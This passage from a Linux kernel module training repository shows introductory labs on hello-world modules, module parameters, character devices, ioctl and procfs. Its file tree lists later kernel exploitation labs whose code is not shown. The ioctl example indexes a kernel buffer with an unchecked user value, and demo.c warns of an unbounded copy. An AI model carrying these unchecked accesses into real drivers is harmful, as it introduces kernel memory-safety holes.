├── Lab1 ├── Makefile ├── README.md ├── assignment.c ├── hello2.c ├── hello3.c ├── hello4.c ├── hello5.c └── helloworld.c ├── Lab2 ├── Makefile ├── README.md ├── assignment.c ├── chardev.c ├── demo.c ├── ioctl.c └── ioctl.h ├── Lab3 ├── Makefile ├── README.md ├── assignment.c ├── procfs1.c ├── procfs2.c └── procfs3.c ├── Lab4 ├── Makefile ├── README.md ├── kkid.c ├── kkid.h └── user.c ├── Lab5 ├── README.md ├── cmd.sh ├── exploit │ ├── exploit │ ├── exploit.c │ └── poc.c └── modules │ ├── Makefile │ └── null_vuln.c ├── Lab6 ├── README.md ├── assignment │ ├── cmd.sh │ ├── exploit │ │ └── exploit.c │ └── modules │ │ ├── Makefile │ │ └── canary.c ├── cmd.sh ├── exploit │ └── exploit.c └── modules │ ├── Makefile │ └── smash.c ├── README.md ├── TODO.md ├── docs ├── build_rootfs.md └── module.md ├── images ├── README.md └── arm64 │ ├── arm64-Image.tar.gz │ └── start.sh └── setup.sh /Lab1/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += helloworld.o 3 | obj-m += hello2.o 4 | obj-m += hello3.o 5 | obj-m += hello4.o 6 | obj-m += hello5.o 7 | # Assignment module here 8 | else 9 | KERNEL_SOURCE := ../kernel_source/linux-4.18.16/ 10 | PWD := $(shell pwd) 11 | default: 12 | # Compile for the same architecture as the host machine 13 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 14 | arm: 15 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 16 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 17 | clean: 18 | # Cleans the Directory - removes all the files that were created 19 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 20 | endif 21 | -------------------------------------------------------------------------------- /Lab1/README.md: -------------------------------------------------------------------------------- 1 | # Modules in Lab 1 2 | 3 | Lab 1 will cover some of the basic modules and the concepts behind it. 4 | 5 | ## Module 1 ([helloworld](helloworld.c)) - Hello World 6 | 7 | As per norms we start with a Hello World. This module prints "Hello World 1" to the kernel logs on insertion(`insmod`) and prints "Goodbye World 1 " on removal(`rmmod`). 8 | 9 | You are introduced to init_module() and cleanup_module() functions. 10 | 11 | ## Module 2 ([hello2](hello2.c)) - Init macros 12 | 13 | Now let's see how we can we can change the names of the init_module() and the cleanup_module() functions - This is one of the preffered practices in the kernel programming space. 14 | 15 | You are introduced to the module_init() and the module_exit() macros. 16 | 17 | ## Module 3 ([hello3](hello3.c)) - More macros 18 | 19 | We now try to define a global variable and print its value during the insmod to the kernel logs. 20 | 21 | You are introduced to the \__initdata macro. 22 | 23 | ## Module 4 ([hello4](hello4.c)) - Module Documentation 24 | 25 | Learn to License your driver with the GPL license and add information about your driver. 26 | 27 | Check out the description by running the `modinfo` command 28 | 29 | ## Module 5 ([hello5](hello5.c)) - Parameters 30 | 31 | Learn to pass arguments to the kernel module while inserting it. And then use it 32 | 33 | ## Assignment Module ([assignment](assignment.c)) - Everything UP to now 34 | 35 | Let's Test - Complete the module as mentioned 36 | - Take a string as a argument during `insmod` 37 | - Have a integer variable 'key' defined as 13. 38 | - Print the string taken from the user and the key in the init_module() 39 | - Perform Ceaser Cipher on the string and print the result during cleanup_module() 40 | - Add the name of the file in the Makefile 41 | - Compile and test it. 42 | 43 | -------------------------------------------------------------------------------- /Lab1/assignment.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 3 | * 4 | */ 5 | #include /* Needed by all modules */ 6 | #include /* Needed for KERN_ALERT */ 7 | #include /* Needed for the macros */ 8 | 9 | static int __init assignment_init(void) 10 | { 11 | /* Your Code here */ 12 | return 0; 13 | } 14 | 15 | static void __exit assignment_exit(void) 16 | { 17 | /* Your Code here */ 18 | } 19 | 20 | module_init(assignment_init); 21 | module_exit(assignment_exit); 22 | -------------------------------------------------------------------------------- /Lab1/hello2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Demonstrating the module_init() and module_exit() macros. 3 | * This is preferred over using init_module() and cleanup_module(). 4 | */ 5 | #include /* Needed by all modules */ 6 | #include /* Needed for KERN_ALERT */ 7 | #include /* Needed for the macros */ 8 | 9 | static int __init hello_2_init(void) 10 | { 11 | printk(KERN_INFO "Hello, world 2\n"); 12 | return 0; 13 | } 14 | 15 | static void __exit hello_2_exit(void) 16 | { 17 | printk(KERN_INFO "Goodbye, world 2\n"); 18 | } 19 | 20 | module_init(hello_2_init); 21 | module_exit(hello_2_exit); 22 | -------------------------------------------------------------------------------- /Lab1/hello3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Illustrating the __init, __initdata and __exit macros. 3 | */ 4 | #include /* Needed by all modules */ 5 | #include /* Needed for KERN_ALERT */ 6 | #include /* Needed for the macros */ 7 | 8 | /* 9 | * Data gets initalized during the insertion process itself. 10 | */ 11 | static int hello3_data __initdata = 3; 12 | 13 | static int __init hello_3_init(void) 14 | { 15 | printk(KERN_INFO "Hello, world %d\n", hello3_data); 16 | return 0; 17 | } 18 | 19 | static void __exit hello_3_exit(void) 20 | { 21 | printk(KERN_INFO "Goodbye, world 3\n"); 22 | } 23 | 24 | /* 25 | * Macros defined in the kernel itself for 26 | * calling functions during insertion and deletion 27 | */ 28 | module_init(hello_3_init); 29 | module_exit(hello_3_exit); 30 | -------------------------------------------------------------------------------- /Lab1/hello4.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Demonstrates module documentation. 3 | */ 4 | #include 5 | #include 6 | #include 7 | #define DRIVER_AUTHOR "teambi0s " 8 | #define DRIVER_DESC "A sample driver" 9 | 10 | static int __init init_hello_4(void) 11 | { 12 | printk(KERN_INFO "Hello, world 4\n"); 13 | return 0; 14 | } 15 | 16 | static void __exit cleanup_hello_4(void) 17 | { 18 | printk(KERN_INFO "Goodbye, world 4\n"); 19 | } 20 | 21 | module_init(init_hello_4); 22 | module_exit(cleanup_hello_4); 23 | 24 | /* 25 | * To remove the "tainted module" message we licence 26 | * the code as GPL. 27 | */ 28 | MODULE_LICENSE("GPL"); 29 | 30 | MODULE_AUTHOR(DRIVER_AUTHOR); /* Who wrote this module? */ 31 | MODULE_DESCRIPTION(DRIVER_DESC); /* What does this module do */ 32 | 33 | /* 34 | * This module uses /dev/testdevice. The MODULE_SUPPORTED_DEVICE macro might 35 | * be used in the future to help automatic configuration of modules, but is 36 | * currently unused other than for documentation purposes. 37 | */ 38 | MODULE_SUPPORTED_DEVICE("testdevice"); 39 | -------------------------------------------------------------------------------- /Lab1/hello5.c: -------------------------------------------------------------------------------- 1 | /* 2 | * hello-5.c - Demonstrates command line argument passing to a module. 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | MODULE_LICENSE("GPL"); 11 | 12 | MODULE_AUTHOR("teambi0s "); 13 | MODULE_DESCRIPTION("A sample driver"); 14 | 15 | static short int myshort = 1; 16 | static int myint = 420; 17 | static long int mylong = 9999; 18 | static char *mystring = "blah"; 19 | static int myintArray[2] = { -1, -1 }; 20 | static int arr_argc = 0; 21 | 22 | /* 23 | * module_param(foo, int, 0000) 24 | * The first param is the parameters name 25 | * The second param is it's data type 26 | * The final argument is the permissions bits, 27 | * for exposing parameters in sysfs (if non-zero) at a later stage. 28 | */ 29 | 30 | module_param(myshort, short, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP); 31 | MODULE_PARM_DESC(myshort, "A short integer"); 32 | module_param(myint, int, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); 33 | MODULE_PARM_DESC(myint, "An integer"); 34 | module_param(mylong, long, S_IRUSR); 35 | MODULE_PARM_DESC(mylong, "A long integer"); 36 | module_param(mystring, charp, 0000); 37 | MODULE_PARM_DESC(mystring, "A character string"); 38 | 39 | /* 40 | * module_param_array(name, type, num, perm); 41 | * The first param is the parameter's (in this case the array's) name 42 | * The second param is the data type of the elements of the array 43 | * The third argument is a pointer to the variable that will store the number 44 | * of elements of the array initialized by the user at module loading time 45 | * The fourth argument is the permission bits 46 | */ 47 | module_param_array(myintArray, int, &arr_argc, 0000); 48 | MODULE_PARM_DESC(myintArray, "An array of integers"); 49 | 50 | static int __init hello_5_init(void) 51 | { 52 | int i; 53 | printk(KERN_INFO "Hello, world 5\n=============\n"); 54 | printk(KERN_INFO "myshort is a short integer: %hd\n", myshort); 55 | printk(KERN_INFO "myint is an integer: %d\n", myint); 56 | printk(KERN_INFO "mylong is a long integer: %ld\n", mylong); 57 | printk(KERN_INFO "mystring is a string: %s\n", mystring); 58 | for (i = 0; i < (sizeof myintArray / sizeof (int)); i++) 59 | { 60 | printk(KERN_INFO "myintArray[%d] = %d\n", i, myintArray[i]); 61 | } 62 | printk(KERN_INFO "got %d arguments for myintArray.\n", arr_argc); 63 | return 0; 64 | } 65 | 66 | static void __exit hello_5_exit(void) 67 | { 68 | printk(KERN_INFO "Goodbye, world 5\n"); 69 | } 70 | 71 | module_init(hello_5_init); 72 | module_exit(hello_5_exit); 73 | -------------------------------------------------------------------------------- /Lab1/helloworld.c: -------------------------------------------------------------------------------- 1 | /* Module 1 - "Hello World" */ 2 | #include /* Needed by all modules */ 3 | #include /* Needed for KERN_ALERT */ 4 | 5 | /* 6 | * Called when the module is inserted 7 | */ 8 | int init_module(void) 9 | { 10 | printk(KERN_INFO "Hello world 1.\n"); 11 | 12 | /* 13 | * return value : 14 | * 0 means successful 15 | * non 0 means init_module failed and module can't be loaded. 16 | */ 17 | return 0; 18 | } 19 | 20 | /* 21 | * Called when the module is removed from the kernel 22 | */ 23 | void cleanup_module(void) 24 | { 25 | /* Cleanup module should always be of type void */ 26 | printk(KERN_INFO "Goodbye world 1.\n"); 27 | } 28 | -------------------------------------------------------------------------------- /Lab2/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += ioctl.o 3 | obj-m += chardev.o 4 | # Assignment module here 5 | else 6 | KERNEL_SOURCE := ../kernel_source/linux-4.18.16/ 7 | PWD := $(shell pwd) 8 | default: 9 | # Compile for the same architecture as the host machine 10 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 11 | gcc -static -o demo demo.c 12 | arm: 13 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 14 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 15 | clean: 16 | # Cleans the Directory - removes all the files that were created 17 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 18 | endif 19 | -------------------------------------------------------------------------------- /Lab2/README.md: -------------------------------------------------------------------------------- 1 | # Lab 2 2 | 3 | The file_operations structure is defined in linux/fs.h, and holds pointers to functions defined by the driver that perform various operations on the device. Each field of the structure corresponds to the address of some function defined by the driver to handle a requested operation. 4 | 5 | For example, every character driver needs to define a function that reads from the device. The file_operations structure holds the address of the module's function that performs that operation. 6 | 7 | 8 | ### Module - chardev.c 9 | The next code sample creates a char driver named chardev. You can cat its device file (or open the file with a program) and the driver will put the number of times the device file has been read from into the file. We don't support writing to the file (like echo "hi" > /dev/hello), but catch these attempts and tell the user that the operation isn't supported. 10 | 11 | -------------------------------------------------------------------------------- /Lab2/assignment.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Assignment module : Make changes to the assignment from lab1 using ioctl so that 3 | * we can change the xor key 4 | */ 5 | 6 | #include /* Needed by all modules */ 7 | #include /* Needed for KERN_ALERT */ 8 | #include /* Needed for the macros */ 9 | 10 | /* Include other required Header Files*/ 11 | 12 | static struct file_operations fops_struct = { 13 | 14 | /* Your Code here */ 15 | 16 | }; 17 | 18 | static ssize_t procfile_write(struct file *file,const char *buffer, size_t count, loff_t *offset) 19 | { 20 | /* Your Code here */ 21 | } 22 | 23 | static ssize_t procfile_read(struct file *file, char *buffer, size_t buffer_length, loff_t *offset) 24 | { 25 | /* Your Code here */ 26 | } 27 | 28 | static int __init assignment_init(void) 29 | { 30 | /* Your Code here */ 31 | return 0; 32 | } 33 | 34 | static void __exit assignment_exit(void) 35 | { 36 | /* Your Code here */ 37 | } 38 | 39 | module_init(assignment_init); 40 | module_exit(assignment_exit); 41 | -------------------------------------------------------------------------------- /Lab2/chardev.c: -------------------------------------------------------------------------------- 1 | /* 2 | * chardev.c: Creates a read-only char device that says how many times 3 | * you've read from the dev file 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include /* for put_user */ 10 | 11 | /* 12 | * Prototypes - this would normally go in a .h file 13 | */ 14 | int init_module(void); 15 | void cleanup_module(void); 16 | static int device_open(struct inode *, struct file *); 17 | static int device_release(struct inode *, struct file *); 18 | static ssize_t device_read(struct file *, char *, size_t, loff_t *); 19 | static ssize_t device_write(struct file *, const char *, size_t, loff_t *); 20 | 21 | #define SUCCESS 0 22 | #define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ 23 | #define BUF_LEN 80 /* Max length of the message from the device */ 24 | 25 | /* 26 | * Global variables are declared as static, so are global within the file. 27 | */ 28 | 29 | static int Major; /* Major number assigned to our device driver */ 30 | static int Device_Open = 0; /* Is device open? 31 | * Used to prevent multiple access to device */ 32 | static char msg[BUF_LEN]; /* The msg the device will give when asked */ 33 | static char *msg_Ptr; 34 | 35 | static struct file_operations fops = { 36 | .read = device_read, 37 | .write = device_write, 38 | .open = device_open, 39 | .release = device_release 40 | }; 41 | 42 | /* 43 | * This function is called when the module is loaded 44 | */ 45 | 46 | int init_module(void) 47 | { 48 | Major = register_chrdev(0, DEVICE_NAME, &fops); 49 | 50 | if (Major < 0) { 51 | printk("Registering the character device failed with %d\n", 52 | Major); 53 | return Major; 54 | } 55 | 56 | printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major); 57 | printk(KERN_INFO "the driver, create a dev file with\n"); 58 | printk(KERN_INFO "'mknod /dev/hello c %d 0'.\n", Major); 59 | printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n"); 60 | printk(KERN_INFO "the device file.\n"); 61 | printk(KERN_INFO "Remove the device file and module when done.\n"); 62 | 63 | return SUCCESS; 64 | } 65 | 66 | /* 67 | * This function is called when the module is unloaded 68 | */ 69 | void cleanup_module(void) 70 | { 71 | /* 72 | * Unregister the device 73 | */ 74 | unregister_chrdev(Major, DEVICE_NAME); 75 | } 76 | 77 | /* 78 | * Methods 79 | */ 80 | 81 | /* 82 | * Called when a process tries to open the device file, like 83 | * "cat /dev/mycharfile" 84 | */ 85 | static int device_open(struct inode *inode, struct file *file) 86 | { 87 | static int counter = 0; 88 | if (Device_Open) 89 | return -EBUSY; 90 | Device_Open++; 91 | sprintf(msg, "I already told you %d times Hello world!\n", counter++); 92 | msg_Ptr = msg; 93 | try_module_get(THIS_MODULE); 94 | 95 | return SUCCESS; 96 | } 97 | 98 | /* 99 | * Called when a process closes the device file. 100 | */ 101 | static int device_release(struct inode *inode, struct file *file) 102 | { 103 | Device_Open--; /* We're now ready for our next caller */ 104 | 105 | /* 106 | * Decrement the usage count, or else once you opened the file, you'll 107 | * never get get rid of the module. 108 | */ 109 | module_put(THIS_MODULE); 110 | 111 | return 0; 112 | } 113 | 114 | /* 115 | * Called when a process, which already opened the dev file, attempts to 116 | * read from it. 117 | */ 118 | static ssize_t device_read(struct file *filp, /* see include/linux/fs.h */ 119 | char *buffer, /* buffer to fill with data */ 120 | size_t length, /* length of the buffer */ 121 | loff_t * offset) 122 | { 123 | /* 124 | * Number of bytes actually written to the buffer 125 | */ 126 | int bytes_read = 0; 127 | 128 | /* 129 | * If we're at the end of the message, 130 | * return 0 signifying end of file 131 | */ 132 | if (*msg_Ptr == 0) 133 | return 0; 134 | 135 | /* 136 | * Actually put the data into the buffer 137 | */ 138 | while (length && *msg_Ptr) { 139 | 140 | /* 141 | * The buffer is in the user data segment, not the kernel 142 | * segment so "*" assignment won't work. We have to use 143 | * put_user which copies data from the kernel data segment to 144 | * the user data segment. 145 | */ 146 | put_user(*(msg_Ptr++), buffer++); 147 | 148 | length--; 149 | bytes_read++; 150 | } 151 | 152 | /* 153 | * Most read functions return the number of bytes put into the buffer 154 | */ 155 | return bytes_read; 156 | } 157 | 158 | /* 159 | * Called when a process writes to dev file: echo "hi" > /dev/hello 160 | */ 161 | static ssize_t 162 | device_write(struct file *filp, const char *buff, size_t len, loff_t * off) 163 | { 164 | printk("<1>Sorry, this operation isn't supported.\n"); 165 | return -EINVAL; 166 | } 167 | -------------------------------------------------------------------------------- /Lab2/demo.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ioctl.c - the process to use ioctl's to control the kernel module 3 | * 4 | * Until now we could have used cat for input and output. But now 5 | * we need to do ioctl's, which require writing our own process. 6 | */ 7 | 8 | /* 9 | * device specifics, such as ioctl numbers and the 10 | * major device file. 11 | */ 12 | #include "ioctl.h" 13 | 14 | #include 15 | #include 16 | #include /* open */ 17 | #include /* exit */ 18 | #include /* ioctl */ 19 | 20 | /* 21 | * Functions for the ioctl calls 22 | */ 23 | 24 | void 25 | ioctl_set_msg(int file_desc, char *message) 26 | { 27 | int ret_val; 28 | 29 | ret_val = ioctl(file_desc, IOCTL_SET_MSG, message); 30 | 31 | if (ret_val < 0) { 32 | printf("ioctl_set_msg failed:%d\n", ret_val); 33 | exit(-1); 34 | } 35 | } 36 | 37 | void 38 | ioctl_get_msg(int file_desc) 39 | { 40 | int ret_val; 41 | char message[100]; 42 | 43 | /* 44 | * Warning - this is dangerous because we don't tell 45 | * the kernel how far it's allowed to write, so it 46 | * might overflow the buffer. In a real production 47 | * program, we would have used two ioctls - one to tell 48 | * the kernel the buffer length and another to give 49 | * it the buffer to fill 50 | */ 51 | ret_val = ioctl(file_desc, IOCTL_GET_MSG, message); 52 | 53 | if (ret_val < 0) { 54 | printf("ioctl_get_msg failed:%d\n", ret_val); 55 | exit(-1); 56 | } 57 | 58 | printf("get_msg message: %s\n", message); 59 | } 60 | 61 | void 62 | ioctl_get_nth_byte(int file_desc) 63 | { 64 | int i; 65 | char c; 66 | 67 | printf("get_nth_byte message: "); 68 | 69 | i = 0; 70 | do { 71 | c = ioctl(file_desc, IOCTL_GET_NTH_BYTE, i++); 72 | 73 | if (c < 0) { 74 | printf 75 | ("ioctl_get_nth_byte failed at the %d'th byte:\n", 76 | i); 77 | exit(-1); 78 | } 79 | 80 | putchar(c); 81 | } while (c != 0); 82 | putchar('\n'); 83 | } 84 | 85 | /* 86 | * Main - Call the ioctl functions 87 | */ 88 | int 89 | main() 90 | { 91 | int file_desc; 92 | char *msg = "Message passed by ioctl\n"; 93 | 94 | file_desc = open(DEVICE_FILE_NAME, 0); 95 | if (file_desc < 0) { 96 | printf("Can't open device file: %s\n", DEVICE_FILE_NAME); 97 | exit(-1); 98 | } 99 | 100 | ioctl_get_nth_byte(file_desc); 101 | ioctl_get_msg(file_desc); 102 | ioctl_set_msg(file_desc, msg); 103 | 104 | close(file_desc); 105 | } 106 | -------------------------------------------------------------------------------- /Lab2/ioctl.c: -------------------------------------------------------------------------------- 1 | /* 2 | * ioclt.c - Create an input/output character device , which can be controlled by ioctl calls . 3 | */ 4 | 5 | #include /* We're doing kernel work */ 6 | #include /* Specifically, a module */ 7 | #include 8 | #include /* for get_user and put_user */ 9 | 10 | #include "ioctl.h" 11 | #define SUCCESS 0 12 | #define DEVICE_NAME "char_dev" 13 | #define BUF_LEN 80 14 | 15 | /* 16 | * Is the device open right now? Used to prevent 17 | * concurent access into the same device 18 | */ 19 | static int Device_Open = 0; 20 | 21 | /* 22 | * The message the device will give when asked 23 | */ 24 | static char Message[BUF_LEN]; 25 | 26 | /* 27 | * How far did the process reading the message get? 28 | * Useful if the message is larger than the size of the 29 | * buffer we get to fill in device_read. 30 | */ 31 | static char *Message_Ptr; 32 | 33 | /* 34 | * This is called whenever a process attempts to open the device file 35 | */ 36 | static int device_open(struct inode *inode, struct file *file) 37 | { 38 | #ifdef DEBUG 39 | printk(KERN_INFO "device_open(%p)\n", file); 40 | #endif 41 | 42 | /* 43 | * We don't want to talk to two processes at the same time 44 | */ 45 | if (Device_Open) 46 | return -EBUSY; 47 | 48 | Device_Open++; 49 | /* 50 | * Initialize the message 51 | */ 52 | Message_Ptr = Message; 53 | try_module_get(THIS_MODULE); 54 | return SUCCESS; 55 | } 56 | 57 | static int device_release(struct inode *inode, struct file *file) 58 | { 59 | #ifdef DEBUG 60 | printk(KERN_INFO "device_release(%p,%p)\n", inode, file); 61 | #endif 62 | 63 | /* 64 | * We're now ready for our next caller 65 | */ 66 | Device_Open--; 67 | 68 | module_put(THIS_MODULE); 69 | return SUCCESS; 70 | } 71 | 72 | /* 73 | * This function is called whenever a process which has already opened the 74 | * device file attempts to read from it. 75 | */ 76 | static ssize_t device_read(struct file *file, /* see include/linux/fs.h */ 77 | char __user * buffer, /* buffer to be 78 | * filled with data */ 79 | size_t length, /* length of the buffer */ 80 | loff_t * offset) 81 | { 82 | /* 83 | * Number of bytes actually written to the buffer 84 | */ 85 | int bytes_read = 0; 86 | 87 | #ifdef DEBUG 88 | printk(KERN_INFO "device_read(%p,%p,%d)\n", file, buffer, length); 89 | #endif 90 | 91 | /* 92 | * If we're at the end of the message, return 0 93 | * (which signifies end of file) 94 | */ 95 | if (*Message_Ptr == 0) 96 | return 0; 97 | 98 | /* 99 | * Actually put the data into the buffer 100 | */ 101 | while (length && *Message_Ptr) { 102 | 103 | /* 104 | * Because the buffer is in the user data segment, 105 | * not the kernel data segment, assignment wouldn't 106 | * work. Instead, we have to use put_user which 107 | * copies data from the kernel data segment to the 108 | * user data segment. 109 | */ 110 | put_user(*(Message_Ptr++), buffer++); 111 | length--; 112 | bytes_read++; 113 | } 114 | 115 | #ifdef DEBUG 116 | printk(KERN_INFO "Read %d bytes, %d left\n", bytes_read, length); 117 | #endif 118 | 119 | /* 120 | * Read functions are supposed to return the number 121 | * of bytes actually inserted into the buffer 122 | */ 123 | return bytes_read; 124 | } 125 | 126 | /* 127 | * This function is called when somebody tries to 128 | * write into our device file. 129 | */ 130 | static ssize_t 131 | device_write(struct file *file, 132 | const char __user * buffer, size_t length, loff_t * offset) 133 | { 134 | int i; 135 | 136 | #ifdef DEBUG 137 | printk(KERN_INFO "device_write(%p,%s,%d)", file, buffer, length); 138 | #endif 139 | 140 | for (i = 0; i < length && i < BUF_LEN; i++) 141 | get_user(Message[i], buffer + i); 142 | 143 | Message_Ptr = Message; 144 | 145 | /* 146 | * Again, return the number of input characters used 147 | */ 148 | return i; 149 | } 150 | 151 | /* 152 | * This function is called whenever a process tries to do an ioctl on our 153 | * device file. We get two extra parameters (additional to the inode and file 154 | * structures, which all device functions get): the number of the ioctl called 155 | * and the parameter given to the ioctl function. 156 | * 157 | * If the ioctl is write or read/write (meaning output is returned to the 158 | * calling process), the ioctl call returns the output of this function. 159 | * 160 | */ 161 | long device_ioctl(struct file *file, 162 | unsigned int ioctl_num, /* number and param for ioctl */ 163 | unsigned long ioctl_param) 164 | { 165 | int i; 166 | char *temp; 167 | char ch; 168 | 169 | /* 170 | * Switch according to the ioctl called 171 | */ 172 | switch (ioctl_num) { 173 | case IOCTL_SET_MSG: 174 | /* 175 | * Receive a pointer to a message (in user space) and set that 176 | * to be the device's message. Get the parameter given to 177 | * ioctl by the process. 178 | */ 179 | temp = (char *)ioctl_param; 180 | 181 | /* 182 | * Find the length of the message 183 | */ 184 | get_user(ch, temp); 185 | for (i = 0; ch && i < BUF_LEN; i++, temp++) 186 | get_user(ch, temp); 187 | 188 | device_write(file, (char *)ioctl_param, i, 0); 189 | break; 190 | 191 | case IOCTL_GET_MSG: 192 | /* 193 | * Give the current message to the calling process - 194 | * the parameter we got is a pointer, fill it. 195 | */ 196 | i = device_read(file, (char *)ioctl_param, 99, 0); 197 | 198 | /* 199 | * Put a zero at the end of the buffer, so it will be 200 | * properly terminated 201 | */ 202 | put_user('\0', (char *)ioctl_param + i); 203 | break; 204 | 205 | case IOCTL_GET_NTH_BYTE: 206 | /* 207 | * This ioctl is both input (ioctl_param) and 208 | * output (the return value of this function) 209 | */ 210 | return Message[ioctl_param]; 211 | break; 212 | } 213 | 214 | return SUCCESS; 215 | } 216 | 217 | /* Module Declarations */ 218 | 219 | /* 220 | * This structure will hold the functions to be called 221 | * when a process does something to the device we 222 | * created. Since a pointer to this structure is kept in 223 | * the devices table, it can't be local to 224 | * init_module. NULL is for unimplemented functions. 225 | */ 226 | struct file_operations Fops = { 227 | .read = device_read, 228 | .write = device_write, 229 | .unlocked_ioctl = device_ioctl, 230 | .open = device_open, 231 | .release = device_release, /* a.k.a. close */ 232 | }; 233 | 234 | /* 235 | * Initialize the module - Register the character device 236 | */ 237 | int init_module() 238 | { 239 | int ret_val; 240 | /* 241 | * Register the character device (atleast try) 242 | */ 243 | ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &Fops); 244 | 245 | /* 246 | * Negative values signify an error 247 | */ 248 | if (ret_val < 0) { 249 | printk(KERN_ALERT "%s failed with %d\n", 250 | "Sorry, registering the character device ", ret_val); 251 | return ret_val; 252 | } 253 | 254 | printk(KERN_INFO "%s The major device number is %d.\n", 255 | "Registeration is a success", MAJOR_NUM); 256 | printk(KERN_INFO "If you want to talk to the device driver,\n"); 257 | printk(KERN_INFO "you'll have to create a device file. \n"); 258 | printk(KERN_INFO "We suggest you use:\n"); 259 | printk(KERN_INFO "mknod %s c %d 0\n", DEVICE_FILE_NAME, MAJOR_NUM); 260 | printk(KERN_INFO "The device file name is important, because\n"); 261 | printk(KERN_INFO "the ioctl program assumes that's the\n"); 262 | printk(KERN_INFO "file you'll use.\n"); 263 | 264 | return 0; 265 | } 266 | 267 | /* 268 | * Cleanup - unregister the appropriate file from /proc 269 | */ 270 | void cleanup_module() 271 | { 272 | unregister_chrdev(MAJOR_NUM, DEVICE_NAME); 273 | } 274 | -------------------------------------------------------------------------------- /Lab2/ioctl.h: -------------------------------------------------------------------------------- 1 | /* 2 | * chardev.h - the header file with the ioctl definitions. 3 | * 4 | * The declarations here have to be in a header file, because 5 | * they need to be known both to the kernel module 6 | * (in chardev.c) and the process calling ioctl (ioctl.c) 7 | */ 8 | 9 | #ifndef CHARDEV_H 10 | #define CHARDEV_H 11 | 12 | #include 13 | 14 | /* 15 | * The major device number. We can't rely on dynamic 16 | * registration any more, because ioctls need to know 17 | * it. 18 | */ 19 | #define MAJOR_NUM 100 20 | 21 | /* 22 | * Set the message of the device driver 23 | */ 24 | #define IOCTL_SET_MSG _IOR(MAJOR_NUM, 0, char *) 25 | /* 26 | * _IOR means that we're creating an ioctl command 27 | * number for passing information from a user process 28 | * to the kernel module. 29 | * 30 | * The first arguments, MAJOR_NUM, is the major device 31 | * number we're using. 32 | * 33 | * The second argument is the number of the command 34 | * (there could be several with different meanings). 35 | * 36 | * The third argument is the type we want to get from 37 | * the process to the kernel. 38 | */ 39 | 40 | /* 41 | * Get the message of the device driver 42 | */ 43 | #define IOCTL_GET_MSG _IOR(MAJOR_NUM, 1, char *) 44 | /* 45 | * This IOCTL is used for output, to get the message 46 | * of the device driver. However, we still need the 47 | * buffer to place the message in to be input, 48 | * as it is allocated by the process. 49 | */ 50 | 51 | /* 52 | * Get the n'th byte of the message 53 | */ 54 | #define IOCTL_GET_NTH_BYTE _IOWR(MAJOR_NUM, 2, int) 55 | /* 56 | * The IOCTL is used for both input and output. It 57 | * receives from the user a number, n, and returns 58 | * Message[n]. 59 | */ 60 | 61 | /* 62 | * The name of the device file 63 | */ 64 | #define DEVICE_FILE_NAME "char_dev" 65 | 66 | #endif 67 | -------------------------------------------------------------------------------- /Lab3/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (${KERNELRELEASE},) 2 | obj-m += procfs1.o 3 | obj-m += procfs2.o 4 | obj-m += procfs3.o 5 | obj-m += assignment.o 6 | 7 | # Assignment module here 8 | else 9 | KERNEL_SOURCE := ../kernel_source/linux-4.18.16/ 10 | PWD := $(shell pwd) 11 | default: 12 | # Compile for the same architecture as the host machine 13 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 14 | arm: 15 | # Cross compile for arm64/aarch64 architecture - Cross compiler needed !!! 16 | ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} modules 17 | clean: 18 | # Cleans the Directory - removes all the files that were created 19 | $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=${PWD} clean 20 | endif 21 | -------------------------------------------------------------------------------- /Lab3/README.md: -------------------------------------------------------------------------------- 1 | # Lab 3 2 | 3 | In Linux, there is an additional mechanism for the kernel and kernel modules to send information to processes --- the /proc file system. Originally designed to allow easy access to information about processes (hence the name), it is now used by every bit of the kernel which has something interesting to report, such as /proc/modules which provides the list of modules and /proc/meminfo which stats memory usage statistics. 4 | 5 | The method to use the proc file system is very similar to the one used with device drivers --- a structure is created with all the information needed for the /proc file, including pointers to any handler functions (in our case there is only one, the one called when somebody attempts to read from the /proc file). Then, init_module registers the structure with the kernel and cleanup_module unregisters it. 6 | 7 | ### Module 1 8 | 9 | procfs1.c - create a "file" in /proc, file when read prints HelloWorld! 10 | 11 | ### Module 2 12 | 13 | procfs2.c - create a "file" in /proc, file can be written to and read from. 14 | 15 | ### Module 3 16 | procfs3.c - create a "file" in /proc 17 | 18 | This program uses the seq_file library to manage the /proc file to reimplement the functionality of Module 2. 19 | 20 | ### Assignment Module 21 | 22 | - Take a string as input from the user by implementing write for the procfs file. 23 | - Have an integer variable 'key' defined as 13 24 | - Perform a single key xor on the string with the given key and print the resulting hex encoded string by implementing read for the procfs file. 25 | - Add to Makefile and test. 26 | 27 | **Note**: You can either use the normal or seq_file implementation 28 